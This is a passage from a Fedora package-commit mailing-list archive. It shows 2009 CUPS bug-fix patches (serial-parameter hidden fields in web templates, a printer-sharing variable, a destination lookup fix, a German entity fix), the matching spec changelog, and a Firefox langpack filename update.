+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/es/modify-printer.tmpl.str3391 cups-1.4.1/templates/es/modify-printer.tmpl
--- cups-1.4.1/templates/es/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/es/modify-printer.tmpl	2009-10-27 15:10:32.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/eu/add-printer.tmpl.str3391 cups-1.4.1/templates/eu/add-printer.tmpl
--- cups-1.4.1/templates/eu/add-printer.tmpl.str3391	2009-07-07 18:52:34.000000000 +0200
+++ cups-1.4.1/templates/eu/add-printer.tmpl	2009-10-27 15:09:08.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/eu/modify-printer.tmpl.str3391 cups-1.4.1/templates/eu/modify-printer.tmpl
--- cups-1.4.1/templates/eu/modify-printer.tmpl.str3391	2009-07-07 18:52:34.000000000 +0200
+++ cups-1.4.1/templates/eu/modify-printer.tmpl	2009-10-27 15:10:37.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/ja/add-printer.tmpl.str3391 cups-1.4.1/templates/ja/add-printer.tmpl
--- cups-1.4.1/templates/ja/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ja/add-printer.tmpl	2009-10-27 15:09:15.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/ja/modify-printer.tmpl.str3391 cups-1.4.1/templates/ja/modify-printer.tmpl
--- cups-1.4.1/templates/ja/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ja/modify-printer.tmpl	2009-10-27 15:10:40.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/modify-printer.tmpl.str3391 cups-1.4.1/templates/modify-printer.tmpl
--- cups-1.4.1/templates/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/modify-printer.tmpl	2009-10-27 15:10:23.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/pl/add-printer.tmpl.str3391 cups-1.4.1/templates/pl/add-printer.tmpl
--- cups-1.4.1/templates/pl/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/pl/add-printer.tmpl	2009-10-27 15:09:20.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/pl/modify-printer.tmpl.str3391 cups-1.4.1/templates/pl/modify-printer.tmpl
--- cups-1.4.1/templates/pl/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/pl/modify-printer.tmpl	2009-10-27 15:10:44.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/ru/add-printer.tmpl.str3391 cups-1.4.1/templates/ru/add-printer.tmpl
--- cups-1.4.1/templates/ru/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ru/add-printer.tmpl	2009-10-27 15:09:24.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/ru/modify-printer.tmpl.str3391 cups-1.4.1/templates/ru/modify-printer.tmpl
--- cups-1.4.1/templates/ru/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ru/modify-printer.tmpl	2009-10-27 15:10:48.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>

cups-str3396.patch:
 set-printer-options-header.tmpl |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3396.patch ---
diff -up cups-1.4.1/templates/de/set-printer-options-header.tmpl.str3396 cups-1.4.1/templates/de/set-printer-options-header.tmpl
--- cups-1.4.1/templates/de/set-printer-options-header.tmpl.str3396	2009-04-03 17:55:28.000000000 +0200
+++ cups-1.4.1/templates/de/set-printer-options-header.tmpl	2009-10-27 15:17:53.000000000 +0100
@@ -1,6 +1,6 @@
 <DIV CLASS="indent">
 
-<H2 CLASS="title">Standardeinstellungen f%uuml;r {printer_name} festlegen</H2>
+<H2 CLASS="title">Standardeinstellungen f&uuml;r {printer_name} festlegen</H2>
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/devel/cups.spec,v
retrieving revision 1.529
retrieving revision 1.530
diff -u -p -r1.529 -r1.530
--- cups.spec	20 Oct 2009 13:42:59 -0000	1.529
+++ cups.spec	27 Oct 2009 14:43:09 -0000	1.530
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 12%{?dist}
+Release: 13%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -55,6 +55,11 @@ Patch37: cups-avahi.patch
 Patch38: cups-str3332.patch
 Patch39: cups-str3356.patch
 Patch40: cups-str3382.patch
+Patch41: cups-str3285_v2.patch
+Patch42: cups-str3390.patch
+Patch43: cups-str3391.patch
+Patch44: cups-str3396.patch
+
 Patch100: cups-lspp.patch
 Epoch: 1
 Url: http://www.cups.org/
@@ -216,6 +221,10 @@ gzip -n postscript.ppd
 %patch38 -p1 -b .str3332
 %patch39 -p1 -b .str3356
 %patch40 -p1 -b .str3382
+%patch41 -p1 -b .str3285_v2
+%patch42 -p1 -b .str3390
+%patch43 -p1 -b .str3391
+%patch44 -p1 -b .str3396
 
 %if %lspp
 %patch100 -p1 -b .lspp
@@ -511,6 +520,12 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Tue Oct 27 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-13
+- Fix incorrectly applied patch from #STR3285 (bug #531108).
+- Set the PRINTER_IS_SHARED variable for admin.cgi (bug #529634, #STR3390).
+- Pass through serial parameters correctly in web interface (bug #529635, #STR3391).
+- Fixed German translation (bug #531144, #STR3396).
+
 * Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-12
 - Fix cups-lpd to create unique temporary data files (bug #529838).
 



From xhorak at fedoraproject.org  Tue Oct 27 14:44:11 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:44:11 +0000 (UTC)
Subject: rpms/firefox/F-10 .cvsignore, 1.105, 1.106 firefox.spec, 1.330,
	1.331 sources, 1.122, 1.123
Message-ID: <20091027144411.2EAF611C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/firefox/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22989

Modified Files:
	.cvsignore firefox.spec sources 
Log Message:
Fix langfile upload


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-10/.cvsignore,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- .cvsignore	27 Oct 2009 14:18:11 -0000	1.105
+++ .cvsignore	27 Oct 2009 14:44:10 -0000	1.106
@@ -8,3 +8,4 @@ firefox-3.0.14-source.tar.bz2
 firefox-langpacks-3.0.14-20090825.tar.bz2
 firefox-3.0.15-source.tar.bz2
 firefox-langpacks-3.0.15-20091019.tar.bz2
+firefox-langpacks-3.0.15-20091020.tar.bz2


Index: firefox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-10/firefox.spec,v
retrieving revision 1.330
retrieving revision 1.331
diff -u -p -r1.330 -r1.331
--- firefox.spec	27 Oct 2009 14:18:11 -0000	1.330
+++ firefox.spec	27 Oct 2009 14:44:10 -0000	1.331
@@ -29,7 +29,7 @@ Group:          Applications/Internet
 %endif
 Source0:        %{tarball}
 %if %{build_langpacks}
-Source2:        firefox-langpacks-%{version}-2001019.tar.bz2
+Source2:        firefox-langpacks-%{version}-2001020.tar.bz2
 %endif
 Source10:       firefox-mozconfig
 Source11:       firefox-mozconfig-branded


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-10/sources,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- sources	27 Oct 2009 14:18:11 -0000	1.122
+++ sources	27 Oct 2009 14:44:10 -0000	1.123
@@ -1,2 +1,2 @@
 7f6c1106600d769f3fb822669f9dcca2  firefox-3.0.15-source.tar.bz2
-8673c7ddcc9d6878c27c7cd0e064a7d3  firefox-langpacks-3.0.15-20091019.tar.bz2
+8673c7ddcc9d6878c27c7cd0e064a7d3  firefox-langpacks-3.0.15-20091020.tar.bz2



From jpopelka at fedoraproject.org  Tue Oct 27 14:44:12 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 27 Oct 2009 14:44:12 +0000 (UTC)
Subject: rpms/cups/F-12 cups-str3285_v2.patch, NONE, 1.1 cups-str3390.patch, 
	NONE, 1.1 cups-str3391.patch, NONE, 1.1 cups-str3396.patch, NONE,
	1.1 cups.spec, 1.528, 1.529
Message-ID: <20091027144412.33DEF11C00E6@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/cups/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23002

Modified Files:
	cups.spec 
Added Files:
	cups-str3285_v2.patch cups-str3390.patch cups-str3391.patch 
	cups-str3396.patch 
Log Message:
* Tue Oct 27 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-12
- Fix incorrectly applied patch from #STR3285 (bug #531108).
- Set the PRINTER_IS_SHARED variable for admin.cgi (bug #529634, #STR3390).
- Pass through serial parameters correctly in web interface (bug #529635, #STR3391).
- Fixed German translation (bug #531144, #STR3396).


cups-str3285_v2.patch:
 dest.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3285_v2.patch ---
diff -up cups-1.4.1/cups/dest.c.str3285 cups-1.4.1/cups/dest.c
--- cups-1.4.1/cups/dest.c.str3285	2009-10-27 12:50:04.560012076 +0000
+++ cups-1.4.1/cups/dest.c	2009-10-27 12:50:23.814012173 +0000
@@ -549,7 +549,7 @@ cupsGetNamedDest(http_t     *http,	/* I 
 
   if (!cups_get_sdests(http, op, name, 0, &dest))
   {
-    if (op == CUPS_GET_DEFAULT)
+    if (op == CUPS_GET_DEFAULT || name)
       return (NULL);
 
    /*

cups-str3390.patch:
 admin.c |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE cups-str3390.patch ---
diff -up cups-1.4.1/cgi-bin/admin.c.str3390 cups-1.4.1/cgi-bin/admin.c
--- cups-1.4.1/cgi-bin/admin.c.str3390	2009-08-29 08:05:14.000000000 +0200
+++ cups-1.4.1/cgi-bin/admin.c	2009-10-27 14:44:53.000000000 +0100
@@ -1044,6 +1044,11 @@ do_am_printer(http_t *http,		/* I - HTTP
         if ((attr = ippFindAttribute(oldinfo, "printer-location",
 	                             IPP_TAG_TEXT)) != NULL)
           cgiSetVariable("PRINTER_LOCATION", attr->values[0].string.text);
+
+	if ((attr = ippFindAttribute(oldinfo, "printer-is-shared",
+				     IPP_TAG_BOOLEAN)) != NULL)
+	  cgiSetVariable("PRINTER_IS_SHARED",
+			 attr->values[0].boolean ? "1" : "0");
       }
 
       cgiCopyTemplateLang("modify-printer.tmpl");

cups-str3391.patch:
 add-printer.tmpl       |    4 ++++
 de/add-printer.tmpl    |    4 ++++
 de/modify-printer.tmpl |    4 ++++
 es/add-printer.tmpl    |    4 ++++
 es/modify-printer.tmpl |    4 ++++
 eu/add-printer.tmpl    |    4 ++++
 eu/modify-printer.tmpl |    4 ++++
 ja/add-printer.tmpl    |    4 ++++
 ja/modify-printer.tmpl |    4 ++++
 modify-printer.tmpl    |    4 ++++
 pl/add-printer.tmpl    |    4 ++++
 pl/modify-printer.tmpl |    4 ++++
 ru/add-printer.tmpl    |    4 ++++
 ru/modify-printer.tmpl |    4 ++++
 14 files changed, 56 insertions(+)

--- NEW FILE cups-str3391.patch ---
diff -up cups-1.4.1/templates/add-printer.tmpl.str3391 cups-1.4.1/templates/add-printer.tmpl
--- cups-1.4.1/templates/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/add-printer.tmpl	2009-10-27 15:08:45.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/de/add-printer.tmpl.str3391 cups-1.4.1/templates/de/add-printer.tmpl
--- cups-1.4.1/templates/de/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/de/add-printer.tmpl	2009-10-27 15:08:56.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/de/modify-printer.tmpl.str3391 cups-1.4.1/templates/de/modify-printer.tmpl
--- cups-1.4.1/templates/de/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/de/modify-printer.tmpl	2009-10-27 15:10:28.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/es/add-printer.tmpl.str3391 cups-1.4.1/templates/es/add-printer.tmpl
--- cups-1.4.1/templates/es/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/es/add-printer.tmpl	2009-10-27 15:09:02.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/es/modify-printer.tmpl.str3391 cups-1.4.1/templates/es/modify-printer.tmpl
--- cups-1.4.1/templates/es/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/es/modify-printer.tmpl	2009-10-27 15:10:32.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/eu/add-printer.tmpl.str3391 cups-1.4.1/templates/eu/add-printer.tmpl
--- cups-1.4.1/templates/eu/add-printer.tmpl.str3391	2009-07-07 18:52:34.000000000 +0200
+++ cups-1.4.1/templates/eu/add-printer.tmpl	2009-10-27 15:09:08.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/eu/modify-printer.tmpl.str3391 cups-1.4.1/templates/eu/modify-printer.tmpl
--- cups-1.4.1/templates/eu/modify-printer.tmpl.str3391	2009-07-07 18:52:34.000000000 +0200
+++ cups-1.4.1/templates/eu/modify-printer.tmpl	2009-10-27 15:10:37.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/ja/add-printer.tmpl.str3391 cups-1.4.1/templates/ja/add-printer.tmpl
--- cups-1.4.1/templates/ja/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ja/add-printer.tmpl	2009-10-27 15:09:15.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/ja/modify-printer.tmpl.str3391 cups-1.4.1/templates/ja/modify-printer.tmpl
--- cups-1.4.1/templates/ja/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ja/modify-printer.tmpl	2009-10-27 15:10:40.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/modify-printer.tmpl.str3391 cups-1.4.1/templates/modify-printer.tmpl
--- cups-1.4.1/templates/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/modify-printer.tmpl	2009-10-27 15:10:23.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/pl/add-printer.tmpl.str3391 cups-1.4.1/templates/pl/add-printer.tmpl
--- cups-1.4.1/templates/pl/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/pl/add-printer.tmpl	2009-10-27 15:09:20.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/pl/modify-printer.tmpl.str3391 cups-1.4.1/templates/pl/modify-printer.tmpl
--- cups-1.4.1/templates/pl/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/pl/modify-printer.tmpl	2009-10-27 15:10:44.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
